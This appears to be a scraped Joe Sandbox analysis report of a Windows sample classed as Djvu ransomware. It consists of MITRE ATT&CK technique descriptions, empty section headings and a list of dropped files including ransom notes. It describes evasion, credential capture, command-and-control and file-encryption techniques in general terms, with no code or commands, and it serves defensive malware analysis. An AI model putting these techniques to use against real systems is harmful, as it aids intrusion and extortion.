Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RranN.exe_cdf7fcba8c19d2b46c16b6f53c964ce7ac6551d_ab49297b_2410734c-d068-4450-835e-a6e01f4b2ece\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A42.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D21.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D80.tmp.xml

Windows Analysis Report
A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre